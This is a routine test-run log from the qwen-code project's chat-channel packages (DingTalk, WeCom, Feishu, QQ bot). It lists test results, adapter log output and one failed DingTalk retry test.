[DingTalk:test-dingtalk] message msgId=bot-only-mention conversationId=cid123 isGroup=true isMentioned=true senderNick=Alice senderStaffId=staff-1 senderId=sender-1
[DingTalk:test-dingtalk] message msgId=plural-mentions conversationId=cid123 isGroup=true isMentioned=true senderNick=Alice senderStaffId=staff-1 senderId=sender-1
[DingTalk:test-dingtalk] message msgId=staffid-fallback conversationId=cid123 isGroup=true isMentioned=true senderNick=Alice senderStaffId=staff-1 senderId=sender-1
[DingTalk:test-dingtalk] message msgId=no-chatbot-id conversationId=cid123 isGroup=true isMentioned=true senderNick=Alice senderStaffId=staff-1 senderId=sender-1
[DingTalk:test-dingtalk] message msgId=empty-text-mention conversationId=cid123 isGroup=true isMentioned=true senderNick=Alice senderStaffId=staff-1 senderId=sender-1
[DingTalk:test-dingtalk] Connected via stream.
[DingTalk:test-dingtalk] Disconnected.
[DingTalk:real-dingtalk] message msgId=rejected-1 conversationId=cid-123 isGroup=true isMentioned=false senderNick=Alice senderStaffId=staff-123 senderId=sender-123
[DingTalk:real-dingtalk] message msgId=command-1 conversationId=cid-123 isGroup=true isMentioned=true senderNick=Alice senderStaffId=staff-123 senderId=sender-123
[DingTalk:real-dingtalk] No webhook for chatId cid-123, cannot send.
[DingTalk:real-dingtalk] No webhook for chatId cid-123, cannot send.
❯ src/DingtalkAdapter.test.ts (118 tests | 1 failed) 14345ms
✓ uses the connection manager by default 172ms
✓ uses SDK keepalive when the connection manager is disabled 51ms
✓ rejects a non-boolean useConnectionManager value 52ms
✓ adds outbound image instructions without replacing custom instructions 42ms
✓ validates interactive card config in the adapter 19ms
✓ does not initialize or subscribe to cards when configuration is omitted 43ms
✓ ACKs a parsed card callback before starting asynchronous handling 114ms
✓ ACKs before sending forbidden feedback to the original group 263ms
✓ silently ACKs an ignored callback 32ms
✓ silently ACKs a malformed callback with a trusted actor 35ms
✓ does not send feedback for a malformed callback without an actor 62ms
✓ logs failed direct feedback without falling back to the group 108ms
✓ does not send feedback for an accepted callback 25ms
✓ ACKs duplicate card callbacks while executing one claimed action 43ms
✓ routes the built-in btn_stop action to the status card controller 66ms
✓ keeps callbacks and ACKs bound to the client that received them 206ms
✓ DingtalkChannel prompt reactions > maps lifecycle start and terminal events to the eye reaction 71ms
✓ DingtalkChannel prompt reactions > recalls again when a late lifecycle attach resolves after terminal cleanup 99ms
✓ DingtalkChannel prompt reactions > does not attach lifecycle reactions without a conversation id 33ms
✓ DingtalkChannel prompt reactions > clears active lifecycle reactions on disconnect 569ms
✓ DingtalkChannel prompt reactions > skips uppercase webhook URLs when starting a prompt 29ms
✓ DingtalkChannel prompt reactions > still attaches reactions for conversation IDs 20ms
✓ DingtalkChannel prompt reactions > skips uppercase webhook URLs when ending a prompt 20ms
✓ DingtalkChannel prompt reactions > skips reactions when the started event has no messageId 30ms
✓ DingtalkChannel prompt reactions > skips reactions for loop job ids that never arrived as messages 62ms
✓ DingtalkChannel prompt reactions > clears the reaction key when attach fails so a retry can attach again 209ms
✓ DingtalkChannel prompt reactions > recalls the reaction on an isolated completed event 34ms
✓ DingtalkChannel prompt reactions > recalls the reaction on an isolated cancelled event 27ms
✓ DingtalkChannel prompt reactions > recalls the reaction on an isolated failed event 29ms
✓ DingtalkChannel prompt reactions > recalls reactions when the session dies without terminal events 39ms
✓ DingtalkChannel prompt reactions > uses the app access token for emotion replies 38ms
✓ DingtalkChannel prompt reactions > uses stream auth token for emotion replies when clientSecret is absent 55ms
✓ DingtalkChannel prompt reactions > skips emotion replies before token lookup when robotCode is missing 40ms
× DingtalkChannel prompt reactions > retries transient emotion failures before succeeding 2215ms
→ expected "spy" to not be called at all, but actually been called 1 times[90m
Received:
[1m 1st spy call:
[22m Array [
"[DingTalk:test-dingtalk] access token request failed: gettoken errcode=40096 Illegal appKey or appSecret
",
]
[39m[90m
Number of calls: [1m1[22m
[39m
✓ DingtalkChannel prompt reactions > does not retry non-transient emotion failures 143ms
✓ DingtalkChannel prompt reactions > retries 429 rate-limit responses before succeeding 74ms
✓ DingtalkChannel prompt reactions > sanitizes failed emotion response details before logging 82ms
✓ DingtalkChannel status cards > passes the configured model to the status card controller 18ms
✓ DingtalkChannel status cards > keeps status cards disabled when block streaming is enabled 17ms
✓ DingtalkChannel status cards > registers only the matching real inbound owner without creating output 35ms
✓ DingtalkChannel status cards > captures direct-card correlation by conversation instead of delivery user 28ms
✓ DingtalkChannel status cards > routes the first visible chunk with its exact segment context 25ms
✓ DingtalkChannel status cards > uses the awaited status finalization or falls back to Markdown 72ms
✓ DingtalkChannel status cards > uploads a final status card image before closing output 149ms
✓ DingtalkChannel status cards > terminalizes the presenter when the agent response is empty 21ms
✓ DingtalkChannel status cards > closes the exact output segment when that segment ends 20ms
✓ DingtalkChannel status cards > does not let a stale terminal event detach a newer session run 16ms
✓ DingtalkChannel question cards > returns unsupported without cancelling when question cards are disabled: undefined 43ms
✓ DingtalkChannel question cards > returns unsupported without cancelling when question cards are disabled: {"enabled":false} 24ms
✓ DingtalkChannel question cards > returns unsupported without cancelling when question cards are disabled: {"questionCard":{"enabled":false}} 14ms
✓ DingtalkChannel question cards > keeps question cards eligible while block streaming is enabled 11ms
✓ DingtalkChannel question cards > presents through the matching attended run only 27ms
✓ DingtalkChannel inbound media > refreshes the app access token after its TTL while the stream stays connected 158ms
✓ DingtalkChannel inbound media > keeps media attachment best-effort when app token refresh fails 53ms
✓ DingtalkChannel.isUnroutableGroupMessage > drops group messages with no conversationId 5ms
✓ DingtalkChannel.isUnroutableGroupMessage > keeps routable group messages and all DMs 5ms
✓ DingtalkChannel unroutable-message logging > neutralizes a newline-bearing senderNick before logging 34ms
✓ DingtalkChannel parsed-message logging > forwards the inbound conversation title as the group name 46ms
✓ DingtalkChannel parsed-message logging > uses conversation fallback for thread scope when DingTalk has no thread id 66ms
✓ DingtalkChannel parsed-message logging > logs debug payloads when enabled for the channel 55ms
✓ DingtalkChannel parsed-message logging > logs parsed routing and sender fields for routable group messages 21ms
✓ DingtalkChannel downstream logging > replaces raw SDK Buffer logging with a structured downstream summary 30ms
✓ DingtalkChannel downstream logging > sanitizes malformed downstream parse errors and skips dispatch 35ms
✓ DingtalkChannel downstream logging > ignores downstream JSON that is not an object 25ms
✓ DingtalkChannel downstream logging > logs SDK dispatch failures without propagating them 25ms
✓ DingtalkChannel downstream logging > ignores downstream frames with non-string routing fields 26ms
✓ DingtalkChannel downstream logging > rejects callback frames with invalid routing headers before dispatch 29ms
✓ DingtalkChannel sender attribution > falls back to senderStaffId when senderNick is absent 25ms
✓ DingtalkChannel sender attribution > passes mention-stripped text with platform format characters to base 36ms
✓ DingtalkChannel sender attribution > does not consume text after a mention followed by a format character 20ms
✓ DingtalkChannel sender attribution > preserves @ in git URLs and emails when stripping bot mention (#7402) 30ms
✓ DingtalkChannel sender attribution > does not strip @ in URLs when bot mention is absent from text (#7402) 26ms
✓ DingtalkChannel sender attribution > preserves non-bot mentions when DingTalk removes names from text 34ms
✓ DingtalkChannel sender attribution > does not add mention context when only the bot was mentioned 27ms
✓ DingtalkChannel sender attribution > uses plural label when multiple distinct non-bot members are mentioned 25ms
✓ DingtalkChannel sender attribution > falls back to staffId when dingtalkId is absent 23ms
✓ DingtalkChannel sender attribution > returns text unchanged when chatbotUserId is absent 18ms
✓ DingtalkChannel sender attribution > returns context only when text is empty after mention stripping 22ms
✓ DingtalkChannel sender attribution > ignores non-string message metadata when logging parsed JSON 23ms
✓ DingtalkChannel sender attribution > falls back to downstream header messageId when body msgId is empty 26ms
✓ DingtalkChannel reply mentions > retains queued mention after dedup cleanup until onPromptStart 170ms
✓ DingtalkChannel reply mentions > removes mention targets for dropped queued prompts 53ms
✓ DingtalkChannel reply mentions > keeps only the final mention target for a coalesced queued prompt 48ms
✓ DingtalkChannel reply mentions > mentions the originating group member when atSender is enabled 64ms
✓ DingtalkChannel reply mentions > logs the redacted mention delivery result when diagnostics are enabled 94ms
✓ DingtalkChannel reply mentions > does not mention the sender by default 59ms
✓ DingtalkChannel reply mentions > does not mention when the correlated prompt has no stored staff ID 60ms
✓ DingtalkChannel reply mentions > reserves the mention prefix within the first text chunk limit 83ms
✓ DingtalkChannel reply mentions > preserves code fences across mentioned text chunks 75ms
✓ DingtalkChannel reply mentions > mentions only the first block-streamed response 55ms
✓ DingtalkChannel mention target lifecycle > does not retain a preflight-rejected group candidate 874ms
✓ DingtalkChannel mention target lifecycle > does not retain a local-command candidate 1380ms
✓ DingtalkChannel mention target lifecycle > clears the final buffered command target after synthetic collect re-entry 1519ms
✓ DingtalkChannel mention target lifecycle > clears buffered mention targets for a dead session only 794ms
✓ DingtalkChannel outbound image delivery > uploads a local image and embeds its MediaID in a reply 163ms
✓ DingtalkChannel outbound image delivery > refreshes the token and retries one expired media upload 120ms
✓ DingtalkChannel outbound image delivery > sends a visible fallback without leaking the token when upload fails 84ms
✓ DingtalkChannel outbound image delivery > sends a mentioned image response as one message 111ms
✓ DingtalkChannel proactive send > opts into proactive send 55ms
✓ DingtalkChannel proactive send > accepts direct-message targets only for webhooks 62ms
✓ DingtalkChannel proactive send > keeps loop targets group-only while direct delivery accepts users 52ms
✓ DingtalkChannel proactive send > sends proactive group messages through the robot API 105ms
✓ DingtalkChannel proactive send > sends proactive direct messages through the one-to-one robot API 79ms
✓ DingtalkChannel proactive send > uploads and embeds images in proactive group messages 80ms
✓ DingtalkChannel proactive send > uploads and embeds images in proactive direct messages 107ms
✓ DingtalkChannel proactive send > rejects direct messages when DingTalk reports an invalid recipient 88ms
✓ DingtalkChannel proactive send > rejects direct messages when DingTalk reports a rate-limited recipient 80ms
✓ DingtalkChannel proactive send > rejects direct messages when DingTalk returns malformed JSON 83ms
✓ DingtalkChannel proactive send > accepts direct messages when DingTalk rejects only other recipients 72ms
✓ DingtalkChannel proactive send > reuses the cached token across group and direct-message sends 65ms
✓ DingtalkChannel proactive send > splits long proactive messages into continuation chunks 92ms
✓ DingtalkChannel proactive send > stops at the first failed chunk 82ms
✓ DingtalkChannel proactive send > surfaces API detail in the error and log on failure 72ms
✓ DingtalkChannel proactive send > includes the direct target kind in network-error logs 80ms
✓ DingtalkChannel proactive send > refreshes the token and retries a direct message once on 401 75ms
✓ DingtalkChannel proactive send > refreshes the token and retries a group message once on 401 66ms
✓ DingtalkChannel proactive send > throws when the token endpoint rejects 72ms
✓ DingtalkChannel proactive send > skips blank text without calling the API 57ms
✓ src/question-card-controller.test.ts (18 tests) 1190ms
✓ QuestionCardController > renders all normalized questions in one form card 406ms
✓ src/interaction-presenter.test.ts (20 tests) 1802ms
✓ src/DingtalkConnectionManager.test.ts (26 tests) 1668ms
✓ src/status-card-controller.test.ts (14 tests) 1610ms
✓ StatusCardController > creates and opens a status card only after the first visible chunk 395ms
✓ src/outbound-image.test.ts (14 tests) 862ms
✓ src/markdown.test.ts (21 tests) 570ms
✓ src/interactive-card-types.test.ts (9 tests) 411ms
✓ src/interactive-card-client.test.ts (5 tests) 705ms
✓ DingtalkInteractiveCardClient > creates and delivers a group status card with string parameters 370ms
[DingTalk] downloadMedia rejected: size 62914560 exceeds 52428800 byte limit
[DingTalk] downloadMedia rejected: actual size exceeds 52428800 byte limit
✓ src/media.test.ts (4 tests) 697ms
⎯⎯⎯⎯⎯⎯⎯ Failed Tests 1 ⎯⎯⎯⎯⎯⎯⎯
FAIL src/DingtalkAdapter.test.ts > DingtalkChannel prompt reactions > retries transient emotion failures before succeeding
AssertionError: expected "spy" to not be called at all, but actually been called 1 times[90m
Received:
[1m 1st spy call:
[22m Array [
"[DingTalk:test-dingtalk] access token request failed: gettoken errcode=40096 Illegal appKey or appSecret
",
]
[39m[90m
Number of calls: [1m1[22m
[39m
❯ src/DingtalkAdapter.test.ts:1390:26
1388|
1389| expect(emotionAttempts).toBe(3);
1390| expect(stderr).not.toHaveBeenCalled();
| ^
1391| } finally {
1392| vi.useRealTimers();
⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯[1/1]⎯
Test Files 1 failed | 9 passed (10)
Tests 1 failed | 248 passed (249)
Start at 15:26:59
Duration 116.15s (transform 15.70s, setup 0ms, collect 28.46s, tests 23.86s, environment 81ms, prepare 20.36s)
npm error Lifecycle script `test` failed with error:
npm error code 1
npm error path /build/qwen-code/src/qwen-code/packages/channels/dingtalk
npm error workspace @qwen-code/channel-dingtalk@0.21.5
npm error location /build/qwen-code/src/qwen-code/packages/channels/dingtalk
npm error command failed
npm error command sh -c vitest run --testTimeout=30000 --no-file-parallelism '--exclude=**/{qwenConnectionHandler,useAtCompletion,pid-descendants,serve/acp-http/transport,i18n/index,ui/auth/AuthDialog,ui/utils/clipboardUtils,services/FileCommandLoader,services/FileCommandLoader-extension,lsp/LspConfigLoader,utils/pathReader}.test.*'
npm notice run @qwen-code/channel-wecom@0.21.5 test
RUN v3.2.4 /build/qwen-code/src/qwen-code/packages/channels/wecom
[WeCom:bot] Connected via smart bot.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] WebSocket kicked; reconnecting after server kick.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] reconnected after server kick.
[WeCom:bot] Disconnected.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] Disconnected.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] Disconnected.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] Disconnected.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] WebSocket closed; waiting for SDK reconnect.
[WeCom:bot] SDK reconnect did not recover after WebSocket closed; reconnecting adapter.
[WeCom:bot] WebSocket closed; reconnecting after SDK disconnect.
[WeCom:bot] Disconnected.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] WebSocket kicked; reconnecting after server kick.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] reconnected after server kick.
[WeCom:bot] WebSocket kicked; reconnecting after server kick.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] reconnected after server kick.
[WeCom:bot] WebSocket kicked; reconnecting after server kick.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] reconnected after server kick.
[WeCom:bot] WebSocket kicked; reconnecting after server kick.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] reconnected after server kick.
[WeCom:bot] Disconnected.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] WebSocket kicked; reconnecting after server kick.
[WeCom:bot] Disconnected.
[WeCom:bot] reconnect after server kick abandoned: connection generation changed.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] Disconnected.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] WebSocket kicked; reconnecting after server kick.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] reconnected after server kick.
[WeCom:bot] Disconnected.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] WebSocket kicked; reconnecting after server kick.
[WeCom:bot] Disconnected.
[WeCom:bot] reconnect after server kick attempt 1 failed: WeCom connection was replaced before authentication.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] WebSocket kicked; reconnecting after server kick.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] reconnected after server kick.
[WeCom:bot] Disconnected.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] WebSocket kicked; reconnecting after server kick.
[WeCom:bot] reconnect after server kick attempt 1 failed: connect failed
[WeCom:bot] reconnect after server kick attempt 2 failed: connect failed
[WeCom:bot] reconnect after server kick attempt 3 failed: connect failed
[WeCom:bot] reconnect after server kick gave up after 3 attempts; retrying later.
[WeCom:bot] WebSocket kicked; reconnecting after server kick.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] reconnected after server kick.
[WeCom:bot] Disconnected.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] WebSocket errcode=45009 errmsg=another client connected; reconnecting after server kick.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] reconnected after server kick.
[WeCom:bot] dropping duplicate message msg-kick-preserve (already in flight).
[WeCom:bot] Disconnected.
[WeCom:bot] WebSocket errcode=45009 errmsg=another client connected; reconnecting after server kick.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] Disconnected.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] Connected via smart bot.
[Channel:bot] preflight rejected reason=group_disabled
[WeCom:bot] dropping message msg-unmentioned-image: preflight rejected.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] Connected via smart bot.
[bot] blocked ! shell command from alice (sender alice) in chat group-1
[WeCom:bot] message handling failed for msg-preflight-fails: preflight failed
[WeCom:bot] Connected via smart bot.
[WeCom:bot] dropping duplicate message msg-preflight-pending (already in flight).
[WeCom:bot] Connected via smart bot.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] Disconnected.
[WeCom:bot] dropping message msg-disconnect-during-download: connection changed during attachment download.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] skipping image attachment: unsafe media URL (example.invalid resolved to private address fe90::1).
[WeCom:bot] Connected via smart bot.
[WeCom:bot] skipping image attachment: unsafe media URL (example.invalid resolved to private address fec0::1).
[WeCom:bot] Connected via smart bot.
[WeCom:bot] skipping image attachment: unsafe media URL (example.invalid resolved to private address ff02::1).
[WeCom:bot] Connected via smart bot.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] skipping image attachment: unsafe media URL (private address 192.0.2.1).
[WeCom:bot] Connected via smart bot.
[WeCom:bot] skipping image attachment: unsafe media URL (private address 2001:db8::1).
[WeCom:bot] Connected via smart bot.
[WeCom:bot] skipping image attachment: unsafe media URL (private address 192.88.99.1).
[WeCom:bot] Connected via smart bot.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] Disconnected.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] Connected via smart bot.
[WeCom:bot] Connected via smart bot.
[bot] /clear abandoned a wedged turn for session session-1 (chat alice, message msg-active): it did not wind down within 3000ms
✓ src/WeComAdapter.test.ts (134 tests) 16003ms
✓ WeComChannel > does not clear adapter state when reconnecting after a kick 399ms
✓ WeComChannel > rolls back message dedup when preflight work fails 436ms
✓ WeComChannel > keeps files buffered during a coalesced prompt for the next prompt 409ms
✓ WeComChannel > keeps fenced code blocks balanced across markdown chunks 771ms
✓ WeComChannel > does not switch fence type when splitting a long fenced line 826ms
Test Files 1 passed (1)
Tests 134 passed (134)
Start at 15:29:10
Duration 41.80s (transform 13.25s, setup 0ms, collect 17.80s, tests 16.00s, environment 6ms, prepare 2.86s)
npm notice run @qwen-code/channel-feishu@0.21.5 test
RUN v3.2.4 /build/qwen-code/src/qwen-code/packages/channels/feishu
[Feishu:test] extractContent parse error (type=text): Unexpected token 'o', "not valid json" is not valid JSON
[Feishu:test] Stop rejected: operator=different_user sender=original_user
[Feishu:test] Stop rejected: operator=n/a sender=original_user
[Feishu:test] Stop rejected: operator=some_user sender=n/a
stdout | src/adapter.test.ts > FeishuChannel > connect: WebSocket > rejects invalid credentials before starting WebSocket
[info]: [ [32m'event-dispatch is ready'[39m ]
[Feishu:test] getTenantAccessToken failed: HTTP 401
stdout | src/adapter.test.ts > FeishuChannel > connect: WebSocket > resolves after the SDK start promise without waiting for onReady
[info]: [ [32m'event-dispatch is ready'[39m ]
[Feishu:test] Bot open_id: bot_id
[Feishu:test] Connected via WebSocket.
[Feishu:test] Disconnected.
[Feishu:test] Disconnected.
[Feishu:test] Disconnected.
[Feishu:test] getTenantAccessToken failed: HTTP 500
[Feishu:test] deleteCard failed: HTTP 404 msg=om_test_msg_id not found
[Feishu:test] deleteCard failed: HTTP 401 msg=om_test_msg_id unauthorized
[Feishu:test] getTenantAccessToken error: TypeError: Body is unusable: Body has already been read
[Feishu:test] getTenantAccessToken error: TypeError: Body is unusable: Body has already been read
✓ src/adapter.test.ts (75 tests) 3475ms
[Feishu] downloadMedia failed: HTTP 404 Not found
[Feishu] downloadMedia rejected: size 62914560 exceeds 52428800 byte limit
[Feishu] downloadMedia rejected: actual size exceeds 52428800 byte limit
[Feishu] downloadMedia error: Network error
✓ src/media.test.ts (12 tests) 932ms
✓ downloadMedia > awaits reader.cancel() so a failing stream teardown is caught, not leaked 323ms
✓ src/markdown.test.ts (26 tests) 534ms
Test Files 3 passed (3)
Tests 113 passed (113)
Start at 15:30:07
Duration 46.81s (transform 11.78s, setup 0ms, collect 22.18s, tests 4.94s, environment 26ms, prepare 6.36s)
npm notice run @qwen-code/channel-qqbot@0.21.5 test
RUN v3.2.4 /build/qwen-code/src/qwen-code/packages/channels/qqbot
[QQ:qq-bot] Unexpected senderOpenId format: uo
[QQ:qq-bot] Unexpected senderOpenId format: uo
[QQ:qq-bot] Slash cmd from Alice (grp-1): /clear
[QQ:test-bot] Send failed (HTTP 400: markdown unsupported)
[QQ:test-bot] Plain-text fallback succeeded for test-chat-id
[QQ:test-bot] Send failed (HTTP 400: markdown unsupported)
[QQ:test-bot] Active markdown retry succeeded for test-chat-id
[QQ:test-bot] Send failed (HTTP 500: )
[QQ:test-bot] Plain-text fallback succeeded for test-chat-id
[QQ:test-bot] resolveRoute: channel disposed, dropping message to test-chat-id
[QQ:test-bot] resolveRoute: no chat type for unknown-chat, dropping message
[QQ:test-bot] resolveRoute: invalid chatId rejected (length=12)
[QQ:test-bot] resolveRoute: token refresh failed (auth failed), dropping message to test-chat-id
[QQ:test-bot] Token refresh failed: token endpoint down, will retry
[QQ:test-bot] Token refresh retry failed (attempt 1): still down
[QQ:test-bot] RC: gateway down (retry in 2000ms, attempt 1/5)
[QQ:test-bot] RC: gateway down (retry in 4000ms, attempt 2/5)
[QQ:test-bot] RC: gateway down (retry in 8000ms, attempt 3/5)
[QQ:test-bot] RC: gateway down (retry in 16000ms, attempt 4/5)
[QQ:test-bot] RC: gateway down (retry in 30000ms, attempt 5/5)
[QQ:test-bot] RC: exhausted 5 reconnect retries, will retry in 60s
[QQ:test-bot] RC: gateway down (retry in 2000ms, attempt 1/5)
[QQ:test-bot] RC: token refresh failed, retrying...
[QQ:test-bot] RC: token refresh failed, retrying...
[QQ:test-bot] RC: token refresh failed, retrying...
[QQ:test-bot] RC: token refresh failed, retrying...
[QQ:test-bot] RC: token refresh failed, retrying...
[QQ:test-bot] RC: exhausted 5 reconnect retries, will retry in 60s
[QQ:test-bot] Send error: network down
[QQ:test-bot] replyMsgId entry expired for test-chat-id, reply context expired, sending without msg_id
[QQ:test-bot] Send failed (HTTP 400: markdown rejected)
[QQ:test-bot] Active markdown retry failed (HTTP 500: active md failed) for test-chat-id
[QQ:test-bot] MESSAGE DROPPED: active text fallback failed (HTTP 500: active text failed) for test-chat-id
[QQ:test-bot] Send failed (HTTP 400: markdown rejected)
[QQ:test-bot] MESSAGE DROPPED: rate-limited (429) on active markdown retry for test-chat-id
[QQ:test-bot] Send error: connection reset
[QQ:test-bot] Send error: network error
[QQ:test-bot] skipped for test-chat-id
[QQ:test-bot] skipped for test-chat-id
[QQ:test-bot] skipped for test-chat-id
[QQ:test-bot] MESSAGE DROPPED: rate-limited (429) on markdown attempt for test-chat-id
[QQ:test-bot] MESSAGE DROPPED: rate-limited (429) on markdown attempt for test-chat-id
[QQ:test-bot] sendMessage blocked: active messages disabled for test-chat-id
[QQ:test-bot] Send failed (HTTP 400: bad request)
[QQ:test-bot] MESSAGE DROPPED: active messages disabled for test-chat-id, cannot retry
[QQ:test-bot] WebSocket closed (code=4001)
[QQ:test-bot] Reconnecting in 1000ms (attempt 0/20)
[QQ:test-bot] restoreQQState: accepted 2 chatTypeMap entries (rejected 3)
[QQ:test-bot] restoreQQState: accepted 3 replyMsgId entries (rejected 3)
[QQ:test-bot] restoreQQState: accepted 1 replyMsgId entries (rejected 1)
[QQ:test-bot] restoreQQState: accepted 2 msgSeqMap entries (rejected 5)
[QQ:test-bot] restoreQQState: accepted 2 msgSeqMap entries (rejected 4)
[QQ:test-bot] Failed to restore QQ state: Unexpected token 'o', "not json{{{" is not valid JSON
[QQ:test-bot] Invalid QQ state file (not an object), ignoring
[QQ:test-bot] Invalid QQ state file (not an object), ignoring
[QQ:test-bot] Invalid QQ state file (not an object), ignoring
[QQ:test-bot] Invalid QQ state file (not an object), ignoring
(node:104196) PromiseRejectionHandledWarning: Promise rejection was handled asynchronously (rejection id: 21)
(Use `node --trace-warnings ...` to show where the warning was created)
[QQ:test-bot] Token refresh failed: auth failed, will retry
[QQ:test-bot] Token refresh retry failed (attempt 1): auth failed
[QQ:test-bot] Token refresh retry failed (attempt 2): auth failed
[QQ:test-bot] Token refresh retry failed (attempt 3): auth failed
[QQ:test-bot] Token refresh retry failed (attempt 4): auth failed
[QQ:test-bot] Token refresh retry failed (attempt 5): auth failed
[QQ:test-bot] Token refresh retry failed (attempt 6): auth failed
[QQ:test-bot] Token refresh retry failed (attempt 7): auth failed
[QQ:test-bot] Token refresh retry failed (attempt 8): auth failed
[QQ:test-bot] Token refresh retry failed (attempt 9): auth failed
[QQ:test-bot] Token refresh retry failed (attempt 10): auth failed
[QQ:test-bot] FATAL: token refresh exhausted, reconnecting
[QQ:test-bot] test send failed: rate limited
[QQ:test-bot] test delivery failed (RETRY_EXHAUSTED): permanent failure, dropping 11 chars
[QQ:test-bot] test delivery failed (ACTIVE_MSG_DISABLED): active messages disabled, dropping 11 chars
[QQ:test-bot] Sending RESUME (session: resume-session-123)
✓ src/send.test.ts (82 tests) 2572ms
[QQ:test-bot] C2C message dropped: missing author
[QQ:test-bot] Bot C2C message dropped
[QQ:test-bot] Invalid botOpenId format: bot-openid
[QQ:test-bot] Invalid botOpenId format: bot-openid
[QQ:test-bot] Invalid botOpenId format: bot-openid
[QQ:test-bot] Invalid botOpenId format: bot-openid
[QQ:test-bot] Slash cmd from Bob (group-openid-1): /status
[QQ:test-bot] Invalid botOpenId format:
[QQ:test-bot] Invalid botOpenId format:
[QQ:test-bot] Group message dropped: missing group_openid
[QQ:test-bot] Invalid botOpenId format: bot-openid
[QQ:test-bot] handleGroup: active messages disabled but @-bot allowed through (passive)
[QQ:test-bot] Bot message dropped in group group-openid-1
[QQ:test-bot] Group group-openid-1: log policy — message from Charlie not forwarded
[QQ:test-bot] Group group-openid-1: log policy — message from Charlie not forwarded
[QQ:test-bot] WARNING: groupAllPolicy is 'all' but sessionScope is 'user' (not 'single'). Forcing sessionScope to 'single' to ensure shared group context.
[QQ:test-bot] WARNING: groupAllPolicy is 'keyword' but sessionScope is 'user' (not 'single'). Forcing sessionScope to 'single' to ensure shared group context.
[QQ:test-bot] Group group-openid-1: keyword policy — no match for message from Charlie
[QQ:test-bot] WARNING: groupAllPolicy is 'keyword' but sessionScope is 'user' (not 'single'). Forcing sessionScope to 'single' to ensure shared group context.
[QQ:test-bot] WARNING: groupAllPolicy is 'keyword' but sessionScope is 'user' (not 'single'). Forcing sessionScope to 'single' to ensure shared group context.
[QQ:test-bot] Group group-openid-1: keyword policy — no match for message from Charlie
[QQ:test-bot] WARNING: groupAllPolicy is 'all' but sessionScope is 'user' (not 'single'). Forcing sessionScope to 'single' to ensure shared group context.
[QQ:test-bot] WARNING: groupAllPolicy is 'all' but sessionScope is 'user' (not 'single'). Forcing sessionScope to 'single' to ensure shared group context.
[QQ:test-bot] Invalid botOpenId format: bot-openid
[QQ:test-bot] WARNING: groupAllPolicy is 'all' but sessionScope is 'user' (not 'single'). Forcing sessionScope to 'single' to ensure shared group context.
[QQ:test-bot] Invalid botOpenId format: bot-openid
[QQ:test-bot] Slash cmd from Charlie (group-openid-1): /help
[QQ:test-bot] WARNING: groupAllPolicy is 'all' but sessionScope is 'user' (not 'single'). Forcing sessionScope to 'single' to ensure shared group context.
[QQ:test-bot] Bot message dropped in group group-openid-1
[QQ:test-bot] WARNING: groupAllPolicy is 'all' but sessionScope is 'user' (not 'single'). Forcing sessionScope to 'single' to ensure shared group context.
[QQ:test-bot] handleGroupAll blocked: active messages disabled for group-openid-1
[QQ:test-bot] WARNING: groupAllPolicy is 'all' but sessionScope is 'user' (not 'single'). Forcing sessionScope to 'single' to ensure shared group context.
[QQ:test-bot] handleGroupAll: @-bot message allowed through (passive) despite active messages disabled for group-openid-1
[QQ:test-bot] WARNING: groupAllPolicy is 'all' but sessionScope is 'user' (not 'single'). Forcing sessionScope to 'single' to ensure shared group context.
[QQ:test-bot] WARNING: groupAllPolicy is 'all' but sessionScope is 'user' (not 'single'). Forcing sessionScope to 'single' to ensure shared group context.
[QQ:test-bot] WARNING: groupAllPolicy is 'keyword' but sessionScope is 'user' (not 'single'). Forcing sessionScope to 'single' to ensure shared group context.
[QQ:test-bot] WARNING: groupAllPolicy is 'keyword' but sessionScope is 'user' (not 'single'). Forcing sessionScope to 'single' to ensure shared group context.
[QQ:test-bot] Group group-openid-1: keyword policy — no keywords configured, message from Charlie not forwarded
[QQ:test-bot] Added to group group-new-1 by admin-1
